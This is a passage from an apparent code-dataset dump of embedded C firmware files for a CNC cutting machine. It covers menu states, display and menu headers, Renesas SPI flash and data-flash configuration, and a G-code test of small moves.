=\n{\n\t0,\n\t0,\n\tzerar_peca,\n\thomming_eixos,\n\tzerar_maquina,\n};\n\nstatic const char* gszConfigMenuTitle = \"CONFIG. MANUAL\";\n\n/**\n * Initialize config array\n */\nstatic void init()\n{\n\tuint8_t i;\n\n\t/* Check if already initialized */\n\tif(initialized) {\n\t\tfor(i = 0; i < CONFIG_MANUAL_MAX; i++)\n\t\t{\n\t\t\tconfigs_manual[i].name = init_names[i];\n\t\t}\n\t\treturn;\n\t}\n\n\t/* Zero all values */\n\tmemset(configs_manual, 0, sizeof(configs_manual));\n\n\t/* Initialize all variables */\n\tfor(i = 0; i < CONFIG_MANUAL_MAX; i++)\n\t{\n\t\tconfigs_manual[i].type = init_types[i];\n\t\tconfigs_manual[i].value = &init_values[i];\n\t\tconfigs_manual[i].name = init_names[i];\n\t\tconfigs_manual[i].func_var = init_func[i];\n\t\tconfigs_manual[i].currentState = STATE_CONFIG_MANUAL_MODE;\n\t\tconfigs_manual[i].currentItem = i;\n\t}\n\n\tinitialized = true;\n}\n\n/**\n * Shows a configuration menu for the machine.\n *\n * @param pContext Context object\n * @return Main menu state\n */\n//ut_state ut_state_config_manual_menu(ut_context* pContext)\nut_state ut_state_config_manual_menu(ut_context* pContext)\n{\n\tut_menu config_menu;\n\tuint8_t i;\n\n\t/* Initialize variables */\n\tinit();\n\n\t/* Initialize menu */\n\tut_menu_init(&config_menu);\n\tconfig_menu.currentState = STATE_CONFIG_MANUAL_MODE;\n\t/* Options */\n\tconfig_menu.title = gszConfigMenuTitle;\n\n\t/* Items */\n\tfor(i = 0; i < CONFIG_MANUAL_MAX; i++)\n\t{\n\t\tconfig_menu.items[config_menu.numItems++].text = configs_manual[i].name;\n\t}\n\n\t/* Show menu */\n\tconfig_menu.selectedItem = 0;\n\tif(ut_menu_browse(&config_menu, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t{\n\t\treturn STATE_MAIN_MENU;\n\t}\n\n\tconfigsVar = &configs_manual[config_menu.selectedItem];\n\tswitch(config_menu.selectedItem)\n\t{\n\t\tcase CONFIG_MANUAL_ZERAR_PECA:\n\t\t\tif ((zero_flags & ZERO_MAQ_FLAG) != ZERO_MAQ_FLAG)\n\t\t\t{\n\n\t\t\t\tut_lcd_output_warning(\"SEM\\nREFERÊNCIA\\nDA MÁQUINA\\n\");\n\t\t\t\t/* Delay */\n\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\n\t\t\t}\n\t\t\tbreak;\n\t\tcase CONFIG_MANUAL_DESLOCAR_ZERO:\n\n\t\t\tif ((zero_flags & ZERO_MAQ_FLAG) != ZERO_MAQ_FLAG)\n\t\t\t{\n\t\t\t\tuint32_t *value = configsVar->value;\n\t\t\t\tut_lcd_output_warning(\"SEM\\nREFERÊNCIA\\nDA MÁQUINA\\n\");\n\t\t\t\t/* Delay */\n\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\tconfigsVar->name = \"DESEJA CONTINUAR?\";\n\t\t\t\tut_state_config_var(pContext);\n\t\t\t\tif (*value == false)\n\t\t\t\t\treturn STATE_CONFIG_MANUAL_MODE;\n\t\t\t\t//return STATE_CONFIG_MANUAL_MODE;\n\t\t\t}\n\t\t\tut_lcd_output_warning(\"CUIDADO!!!\\nMOVIMENTO\\nAUTOMÁTICO\\n\");\n\t\t\tif(delay_esc(2000) == KEY_ESC)\n\t\t\t{\n\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t/* Delay */\n\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t}\n\t\t\tconfigsVar->name = \"DESEJA CONTINUAR?\";\n\t\t\tpContext->value[0] = STATE_CONFIG_MANUAL_MODE;\n\t\t\tpContext->value[1] = STATE_DESLOCAZERO_MODE;\n\t\t\tbreak;\n\t\tcase CONFIG_MANUAL_ZERAR_MAQUINA:\n\t\t\tut_lcd_output_warning(\"DEVE ESTAR NOS\\nLIMITES FISICOS\\nX0 E Y0\\n\");\n\t\t\tif(delay_esc(2000) == KEY_ESC)\n\t\t\t{\n\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t/* Delay */\n\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t}\n\t\t\tconfigsVar->name = \"ZERAR A MÁQUINA?\";\n\t\t\tpContext->value[0] = STATE_CONFIG_MANUAL_MODE;\n\t\t\tpContext->value[1] = STATE_CONFIG_MANUAL_MODE;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tpContext->value[0] = STATE_CONFIG_MANUAL_MODE;\n\t\t\tpContext->value[1] = STATE_CONFIG_MANUAL_MODE;\n\t}\n\n\treturn geNextStateManual[config_menu.selectedItem];\n}\n" }, { "alpha_fraction": 0.6517571806907654, "alphanum_fraction": 0.6980830430984497, "avg_line_length": 19.866666793823242, "blob_id": "b9e70fad7ba9e559a3b4b034508a25d4b32fc89f", "content_id": "e2a5feea8db62e9ff3130d333b2c267c515acc58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 626, "license_type": "no_license", "max_line_length": 110, "num_lines": 30, "path": "/src/Nextion/nextion.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * nextion.h\n *\n * Created on: Feb 28, 2017\n * Author: LAfonso01\n */\n\n#ifndef NEXTION_NEXTION_H_\n#define NEXTION_NEXTION_H_\n\n#include \"platform.h\"\n\n\ntypedef enum{\n\tCOMPACTA_IMG = 0,\n\tBACKGROUND_IMG,\n\tSETTINGS_ICON,\n\tCONFIG_CORTE_ICON,\n\tFILE_ICON,\n\tAUTO_ICON,\n\tMANUAL_ICON,\n}nt_img_t;\n\nbool nexInit(void);\nbool NexPage_Show(const char *name);\nbool NexPage_Picture(uint16_t x,uint16_t y,nt_img_t img_number);\nbool NexPage_Str(uint16_t x,uint16_t y,uint16_t w,uint16_t h, uint8_t fontID, uint16_t fcolor,uint16_t bcolor,\n\t\tuint8_t xcenter,uint8_t ycenter, uint8_t sta, const char *str);\n\n#endif /* NEXTION_NEXTION_H_ */\n" }, { "alpha_fraction": 0.5994047522544861, "alphanum_fraction": 0.6029762029647827, "avg_line_length": 47, "blob_id": "2a801ba827417ae8740b25099ef43bf4f2039552", "content_id": "1bcdf125c9978ce13c04edb414b318da2b072aa3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1706, "license_type": "no_license", "max_line_length": 97, "num_lines": 35, "path": "/src/states/ut_states_map.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * ut_states_map.c\n *\n * Created on: Oct 30, 2015\n * Author: Fernando\n */\n\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n\n/**\n * State table\n */\nconst state_func_ptr states_table[STATE_NUMBER] =\n{\n\t\t&ut_state_splash,\t\t\t\t\t\t//!< Funçao da tela de entrada\n\t\t&ut_state_warning, //!< Funçao da tela de warnings\n\t\t&ut_state_main_menu, //!< Funçao da tela de principal\n\t\t&ut_state_choose_file, //!< Funçao da tela de escolha de arquivos\n\t\t&ut_state_config_menu_ox, //!< Funçao da tela de configuração de corte - Oxicorte\n\t\t&ut_state_config_menu_pl, //!< Funçao da tela de configuração de corte - Plasma\n\t\t&ut_state_config_manual_menu, //!< Funçao da tela do menu de corte manual\n\t\t&ut_state_config_jog, \t\t\t//!< Funçao da tela da configuraçao de jog\n\t\t&ut_state_config_auto_menu, //!< Funçao da tela do menu de corte automatico\n\t\t&ut_state_config_maquina,\t\t\t\t//!< Funçao da tela de da configuraçao da maquina\n\t\t&ut_state_config_par_maq,\t\t\t\t//!< Funçao da tela de parametros da maquina\n\t\t&ut_state_config_maq_thc,\t\t\t\t//!< Funçao da tela de parametros do thc\n\t\t&ut_state_config_var, //!< Funçao da tela de manipulação de variaveis\n\t\t&ut_state_manual_mode, //!< Funçao da tela de corte manual\n\t\t&ut_state_deslocaZero_mode, //!< Funçao da tela de deslocar para zero\n\t\t&ut_state_auto_mode, //!< Funçao da tela de corte automatico\n\t\t&ut_state_line_selection, //!< Funçao da tela de selecionar linhas\n\t\t&ut_state_config_maq_model,\t\t\t\t//!< Funçao da tela de selecionar modelo de maquina\n};\n" }, { "alpha_fraction": 0.4687441885471344, "alphanum_fraction": 0.47774067521095276, "avg_line_length": 43.00408172607422, "blob_id": "2d672ee0c2646617814a7e3b652b0e3c622c4bb2", "content_id": "45d701ad2e7c3ecbe7c461a9b4758db4cf3b0a5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10782, "license_type": "no_license", "max_line_length": 120, "num_lines": 245, "path": "/r_flash_loader_rx/src/memory/r_fl_memory_spi_flash.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_fl_memory_spi_flash.c\n* Version : 3.00\n* Description : Low level memory operations are implemented here. This file\n* will change depending on what storage is used for holding\n* Load Images (or other data that is downloaded). This \n* code is setup to work with a Numonyx P5Q PCM. This part\n* uses the same interface as most SPI flashes so you should be\n* able to easily modify this one to work with your own.\n******************************************************************************/ \n/******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 05.04.2010 1.00 First Release\n* : 22.03.2011 2.00 First Release for YRDK\n* : 23.02.2012 3.00 Made compliant with CS v4.0. Moved over from \n* straight driver code to using r_rspi_rx600 \n* package. Got rid of FL_Ext_Addresses array and\n* replaced with g_fl_li_mem_info structure. This\n* was done to make the Memory portion of the FL\n* project more modular.\n******************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Info on which board is being used. */\n#include \"platform.h\"\n/* Flash Loader project includes. */\n#include \"r_fl_includes.h\"\n/* Uses r_rspi_rx package. */\n#include \"r_rspi_rx_if.h\"\n/* SPI Flash package. */\n#include \"r_spi_flash_if.h\"\n\nuint8_t memID[3];\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Choose which channel to use based on selected board. */\n#if defined(BSP_BOARD_RDKRX62N) || defined(BSP_BOARD_RDKRX63N) || defined(BSP_BOARD_RSKRX210)\n #define FL_RSPI_CHANNEL (1)\n#elif defined(BSP_BOARD_RSKRX62N) || defined(BSP_BOARD_RSKRX63N)\n #define FL_RSPI_CHANNEL (1)\n#elif defined(BSP_BOARD_MT01)\n #define FL_RSPI_CHANNEL (1)\n#else\n #error \"No RSPI channel chosen for SPI flash communications. Please choose channel in r_fl_memory_p5q.c\"\n#endif\n\n/******************************************************************************\nExported global variables (to be accessed by other files)\n******************************************************************************/\n/* This structure defines the memory that load images will be stored in. */\nconst fl_li_storage_t g_fl_li_mem_info = \n{\n /* The minimum erase size in bytes. */\n (uint32_t)SF_MEM_MIN_ERASE_BYTES,\n /* The maximum bytes that can be programmed at once. Starting with v3.0 of the FL this is no longer a SPI flash\n specific number. The r_spi_flash package now handles programming of as many bytes as you want at once. This value\n is still kept in the event that you do want to split up SPI flash programs. Another reason I am leaving this in \n here is because other memories may be used where this is more of a requirement. */\n (0x400),\n /* Addresses of FL Load Images. '+1' is used because the last entry in the\n array is the max address for load image data. */\n#if FL_CFG_MEM_NUM_LOAD_IMAGES == 1\n { FL_CFG_MEM_BASE_ADDR, \n FL_CFG_MEM_BASE_ADDR + FL_CFG_MEM_MAX_LI_SIZE_BYTES }\n#elif FL_CFG_MEM_NUM_LOAD_IMAGES == 2\n { FL_CFG_MEM_BASE_ADDR, \n FL_CFG_MEM_BASE_ADDR + FL_CFG_MEM_MAX_LI_SIZE_BYTES,\n FL_CFG_MEM_BASE_ADDR + (FL_CFG_MEM_MAX_LI_SIZE_BYTES*2) }\n#elif FL_CFG_MEM_NUM_LOAD_IMAGES == 3\n { FL_CFG_MEM_BASE_ADDR, \n FL_CFG_MEM_BASE_ADDR + FL_CFG_MEM_MAX_LI_SIZE_BYTES,\n FL_CFG_MEM_BASE_ADDR + (FL_CFG_MEM_MAX_LI_SIZE_BYTES*2),\n FL_CFG_MEM_BASE_ADDR + (FL_CFG_MEM_MAX_LI_SIZE_BYTES*3) }\n#else\n #error \"Addresses are not specified for this many Load Images. Please add details for this setup in r_fl_memory**.c\"\n#endif\n};\n\n/******************************************************************************\n* Function Name: fl_mem_read\n* Description : Reads data from memory where load images are stored\n* Arguments : rx_address - \n* Where to read from in memory\n* rx_buffer - \n* Where to place read data\n* rx_bytes - \n* How many bytes to read\n* Return value : none\n******************************************************************************/\nvoid fl_mem_read(uint32_t rx_address, uint8_t * rx_buffer, uint32_t rx_bytes)\n{ \n while((R_SF_ReadStatus(FL_RSPI_CHANNEL) & SF_WIP_BIT_MASK) == 1) \n {\n /* Make sure SPI flash is not busy */\n }\n \n /* Read data from external SPI flash */\n R_SF_ReadData( FL_RSPI_CHANNEL,\n rx_address,\n rx_buffer,\n rx_bytes);\n}\n/******************************************************************************\nEnd of function fl_mem_read\n******************************************************************************/\n\n/******************************************************************************\n* Function Name: fl_mem_write\n* Description : Writes data to memory where load images are stored\n* Arguments : tx_address - \n* Where to write in memory\n* tx_buffer - \n* What data to write \n* tx_bytes - \n* How many bytes to write\n* Return value : none\n******************************************************************************/\nvoid fl_mem_write(uint32_t tx_address, uint8_t *tx_buffer, uint32_t tx_bytes)\n{\n while((R_SF_ReadStatus(FL_RSPI_CHANNEL) & SF_WIP_BIT_MASK) == 1) \n {\n /* Make sure SPI flash is not busy */\n }\n \n /* Write data to external SPI flash */\n R_SF_WriteData( FL_RSPI_CHANNEL,\n tx_address,\n tx_buffer,\n tx_bytes);\n}\n/******************************************************************************\nEnd of function fl_mem_write\n******************************************************************************/\n\n/******************************************************************************\n* Function Name: fl_mem_get_busy\n* Description : Returns whether the memory is currently busy\n* Arguments : none\n* Return value : true - \n* The memory is busy\n* false - \n* The memory is not busy\n******************************************************************************/\nbool fl_mem_get_busy(void)\n{\n if( (R_SF_ReadStatus(FL_RSPI_CHANNEL) & SF_WIP_BIT_MASK) != 0)\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n/******************************************************************************\nEnd of function fl_mem_get_busy\n******************************************************************************/\n\n/******************************************************************************\n* Function Name: fl_mem_init\n* Description : Initializes resources needed for talking to memory holding\n* FL load images\n* Arguments : none\n* Return value : none\n******************************************************************************/\nvoid fl_mem_init(void)\n{\n\tR_SF_Init(FL_RSPI_CHANNEL);\n}\n/******************************************************************************\nEnd of function fl_mem_init\n******************************************************************************/\n\n/******************************************************************************\n* Function Name: fl_mem_erase\n* Description : Erases parts, or whole, memory used for FL load images\n* Arguments : address - \n* Where you want to erase\n* size - \n* How many bytes to erase\n* Return value : true - \n* Sucessfull\n* false - \n* Not successfull, invalid argument\n******************************************************************************/\nbool fl_mem_erase(const uint32_t address, const uint8_t size)\n{\n while((R_SF_ReadStatus(FL_RSPI_CHANNEL) & SF_WIP_BIT_MASK) == 1) \n {\n /* Make sure SPI flash is not busy */\n }\n \n /* Erase requested part of memory */\n if(size == FL_MEM_ERASE_SECTOR)\n {\n /* Erase sector */\n R_SF_Erase(FL_RSPI_CHANNEL, address, SF_ERASE_SECTOR);\n } \n else if(size == FL_MEM_ERASE_CHIP)\n {\n /* Bulk erase */\n R_SF_Erase(FL_RSPI_CHANNEL, address, SF_ERASE_BULK);\n } \n else if(size == FL_MEM_ERASE_BLOCK)\n {\n /* Bulk erase */\n R_SF_Erase(FL_RSPI_CHANNEL, address, SF_ERASE_BLOCK);\n }\n else \n {\n /* Unknown option */\n return false;\n }\n \n return true;\n}\n/******************************************************************************\nEnd of function fl_mem_erase\n******************************************************************************/\n\n" }, { "alpha_fraction": 0.5193688869476318, "alphanum_fraction": 0.5451548099517822, "avg_line_length": 42.5538444519043, "blob_id": "60c21368b4ffd2613d78f8b7bf3ab977a89b2290", "content_id": "634290b6df874d64d7dd12a7ebdc67f27756d3c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8493, "license_type": "no_license", "max_line_length": 128, "num_lines": 195, "path": "/r_vee/src/targets/rx63x/r_vee_config_rx63x_8kb.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_vee_config_rx63x_8kb.h\n* Version : 1.00\n* Description : Contains different sector and record configurations for RX63x MCUs with 8KB of data flash.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 02.01.2013 1.00 First Release\n***********************************************************************************************************************/\n\n#ifndef VEE_SECTOR_CONFIG_H\n#define VEE_SECTOR_CONFIG_H\n\n/***********************************************************************************************************************\nVEE Sector Configuration\n***********************************************************************************************************************/\n/* Make structures extern unless VEE_MEM_DECLARE is defined */\n#ifdef VEE_MEM_DECLARE\n\n/***********************************************************************************************************************\nConstant data structure that contains information about VEE Record locations.\nEach entry in the array corresponds to which sector the record will be located in. Records can only be allocated to \nvalid sectors. For example, if VEE_NUM_SECTORS is defined to 1 then there is only 1 sector therefore every record\nwill be located in sector 0.\n***********************************************************************************************************************/\n#if VEE_MAX_RECORD_ID == 8\n #if VEE_NUM_SECTORS == 1 \nconst uint8_t g_vee_RecordLocations[VEE_MAX_RECORD_ID] = \n{\n 0, /* Record 0 will be in sector 0 */\n 0, /* Record 1 will be in sector 0 */\n 0, /* Record 2 will be in sector 0 */\n 0, /* Record 3 will be in sector 0 */\n 0, /* Record 4 will be in sector 0 */\n 0, /* Record 5 will be in sector 0 */\n 0, /* Record 6 will be in sector 0 */\n 0, /* Record 7 will be in sector 0 */ \n};\n #elif VEE_NUM_SECTORS == 2\nconst uint8_t g_vee_RecordLocations[VEE_MAX_RECORD_ID] = \n{\n 0, /* Record 0 will be in sector 0 */\n 0, /* Record 1 will be in sector 0 */\n 0, /* Record 2 will be in sector 0 */\n 0, /* Record 3 will be in sector 0 */\n 1, /* Record 4 will be in sector 1 */\n 1, /* Record 5 will be in sector 1 */\n 1, /* Record 6 will be in sector 1 */\n 1, /* Record 7 will be in sector 1 */ \n};\n #else\n #error \"A configuration with this number of sectors and records is not yet specified. Please specify your own.\"\n #endif /* VEE_NUM_SECTORS */\n#else\n /* If the user specifies a different number of records from the default (8) then they will need to make copy the \n g_vee_RecordLocations[] array from above and specify where records will be located. */\n #error \"g_vee_RecordLocations[] array is not defined for this number of records (specified by VEE_MAX_RECORD_ID)\" \n#endif /* VEE_MAX_RECORD_ID */\n\n/***********************************************************************************************************************\nConstant data structure that contains information about VEE Sector setup\n***********************************************************************************************************************/\n#if VEE_NUM_SECTORS == 1 \n\n/* For each VEE Sector to be used the user will need to fill in an array entry in the constant array below. */\n/* Sector 0 */\nconst uint32_t g_vee_sect0_block_addresses[] = \n{ \n 0x100000, /* Start address of VEE Block 0 */\n 0x101000 /* Start address of VEE Block 1 */\n};\nconst uint32_t g_vee_sect0_df_blocks[][2] = \n{ \n {BLOCK_DB0, BLOCK_DB1}, /* Start & end DF blocks making up VEE Block 0 */\n {BLOCK_DB2, BLOCK_DB3} /* Start & end DF blocks making up VEE Block 1 */\n};\n/* To add more sectors copy the constant arrays below and change the values */\n\nconst vee_sector_t g_vee_Sectors[ VEE_NUM_SECTORS ] = \n{\n /* Sector 0 */\n { \n /* ID is 0 */ \n 0, \n /* There are 2 VEE Blocks in this sector */\n 2,\n /* Size of each VEE Block */\n 4096,\n /* Starting addresses for each VEE Block */\n (const uint32_t *)g_vee_sect0_block_addresses, \n /* Number of data flash blocks per VEE Block\n (End Block # - Start Block # + 1) */\n 2, \n /* Start & end DF blocks making up VEE Blocks */\n g_vee_sect0_df_blocks\n }\n \n /* To add more sectors copy the one above and change the values */\n}; \n\n#elif VEE_NUM_SECTORS == 2\n\n/* For each VEE Sector to be used the user will need to fill in an array\n entry in the constant array below. */\n/* Sector 0 */\nconst uint32_t g_vee_sect0_block_addresses[] = \n{ \n 0x100000, /* Start address of VEE Block 0 */\n 0x100800 /* Start address of VEE Block 1 */\n};\nconst uint32_t g_vee_sect0_df_blocks[][2] = \n{ \n {BLOCK_DB0, BLOCK_DB0}, /* Start & end DF blocks making up VEE Block 0 */\n {BLOCK_DB1, BLOCK_DB1} /* Start & end DF blocks making up VEE Block 1 */\n};\n/* Sector 1 */\nconst uint32_t g_vee_sect1_block_addresses[] = \n{ \n 0x101000, /* Start address of VEE Block 0 */\n 0x101800 /* Start address of VEE Block 1 */\n};\nconst uint32_t g_vee_sect1_df_blocks[][2] = \n{ \n {BLOCK_DB2, BLOCK_DB2}, /* Start & end DF blocks making up VEE Block 0 */\n {BLOCK_DB3, BLOCK_DB3} /* Start & end DF blocks making up VEE Block 1 */\n};\n\n/* To add more sectors copy the constant arrays below and change the values */\n\nconst vee_sector_t g_vee_Sectors[ VEE_NUM_SECTORS ] = \n{\n /* Sector 0 */\n { \n /* ID is 0 */ \n 0, \n /* There are 2 VEE Blocks in this sector */\n 2,\n /* Size of each VEE Block */\n 2048,\n /* Starting addresses for each VEE Block */\n (const uint32_t *)g_vee_sect0_block_addresses, \n /* Number of data flash blocks per VEE Block\n (End Block # - Start Block # + 1) */\n 1, \n /* Start & end DF blocks making up VEE Blocks */\n g_vee_sect0_df_blocks\n }\n ,\n /* Sector 1 */\n { \n /* ID is 1 */ \n 1, \n /* There are 2 VEE Blocks in this sector */\n 2,\n /* Size of each VEE Block */\n 2048,\n /* Starting addresses for each VEE Block */\n (const uint32_t *)g_vee_sect1_block_addresses, \n /* Number of data flash blocks per VEE Block\n (End Block # - Start Block # + 1) */\n 1, \n /* Start & end DF blocks making up VEE Blocks */\n g_vee_sect1_df_blocks\n } \n \n /* To add more sectors copy the one above and change the values */\n}; \n\n#endif //VEE_NUM_SECTORS\n\n#else //VEE_MEM_DECLARE\n\nextern const uint8_t g_vee_RecordLocations[];\nextern const vee_sector_t g_vee_Sectors[];\n\n#endif //VEE_MEM_DECLARE\n\n#endif //VEE_SECTOR_CONFIG_H\n" }, { "alpha_fraction": 0.42053788900375366, "alphanum_fraction": 0.43276283144950867, "avg_line_length": 24.24691390991211, "blob_id": "8162169f074f998a138aff968dd64bd3415b88b1", "content_id": "d4d07b14d82228ccf5a5c6941199f4932066843a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2045, "license_type": "no_license", "max_line_length": 74, "num_lines": 81, "path": "/src/include/lcd_menu.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "// ***********************************************************************\n// LCD menu - HEADER\n// ***********************************************************************\n\n#ifndef __LCD_MENU\n#define __LCD_MENU\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"ut_state.h\"\n\n// ***********************************************************************\n// Macros\n// ***********************************************************************\n#define MENU_MAX_ITEMS\t\t20\n#define MENU_MAX_ITEM_STR\t32\n#define ITEM_NO_MARKED \t0\n#define ITEM_MARKED \t\t1\n\n// ***********************************************************************\n// Typedefs\n// ***********************************************************************\n\n/**\n * Type of menu item\n */\ntypedef enum\n{\n\tITEM_TYPE_BUTTON = 0,//!< MENU_TYPE_BUTTON\n\tITEM_TYPE_BOOL, //!< MENU_TYPE_BOOL\n\tITEM_TYPE_INT //!< MENU_TYPE_INT\n} ut_menu_item_type;\n\ntypedef void (*ut_item_func_ptr)(uint8_t);\n\n/**\n * Menu item struct\n */\ntypedef struct ut_menu_item_tag\n{\n\tut_menu_item_type st_type;\n\tuint8_t interval;\n\tuint8_t min;\n\tuint8_t max;\n\tuint32_t value;\n\tconst char* text;\n\tut_item_func_ptr callback_func;\n} ut_menu_item;\n\n/**\n *\n */\ntypedef struct ut_menu_tag\n{\n\tut_menu_item items[MENU_MAX_ITEMS];\n\tconst char* title;\n\tuint16_t selectedItem;\n\tuint16_t numItems;\n\tuint16_t offset;\n\tuint8_t maxItemsPerPage;\n\tuint8_t boShowTitle;\n\tuint8_t itemMarked;\n\tut_state currentState;\n} ut_menu;\n\n// ***********************************************************************\n// Variable declarations\n// ***********************************************************************\n\n\n// ***********************************************************************\n// Prototypes\n// ***********************************************************************\n\nextern void ut_menu_go_up(ut_menu* menu_ptr);\nextern void ut_menu_go_down(ut_menu* menu_ptr);\nextern void ut_menu_init(ut_menu* menu_ptr);\nextern void ut_menu_show(ut_menu* menu_ptr);\nextern int8_t ut_menu_browse(ut_menu* menu_ptr, uint32_t timeout);\n\n#endif // __LCD_MENU\n" }, { "alpha_fraction": 0.42282748222351074, "alphanum_fraction": 0.582360565662384, "avg_line_length": 9.85915470123291, "blob_id": "d712f297d4b11ffaa31c184df583613b764c6b33", "content_id": "274c093030b3dd478e6d7b08ce2ac8727a8afe47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 771, "license_type": "no_license", "max_line_length": 91, "num_lines": 71, "path": "/src/cnc/tests/test_011_small_moves.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * test_011_small_moves.h\n *\n * Notes:\n *\t -\tThe character array should be derived from the filename (by convention)\n *\t - Comments are not allowed in the char array, but gcode comments are OK e.g. (g0 test)\n */\nconst char test_small_moves[] PROGMEM = \"\\\n(MSG**** Test very short moves [v1] ****)\\n\\\ng0x0y0\\n\\\ng4p0.5\\n\\\ng1x0.1f1000\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\nx0\\n\\\nx0.1\\n\\\ng4p0.5\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\nx0\\n\\\nx0.01\\n\\\ng0x0y0\\n\\\nm2\";\n" }, { "alpha_fraction": 0.43120384216308594, "alphanum_fraction": 0.44056954979896545, "avg_line_length": 39.65944290161133, "blob_id": "3ada3f06aa092120b1ec264d4066c7ab59a95394", "content_id": "e433eddf51885a0c9e9485672aafcb78dacd0840", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 13133, "license_type": "no_license", "max_line_length": 120, "num_lines": 323, "path": "/r_usb_basic/src/driver/host/r_usb_hbc.c", 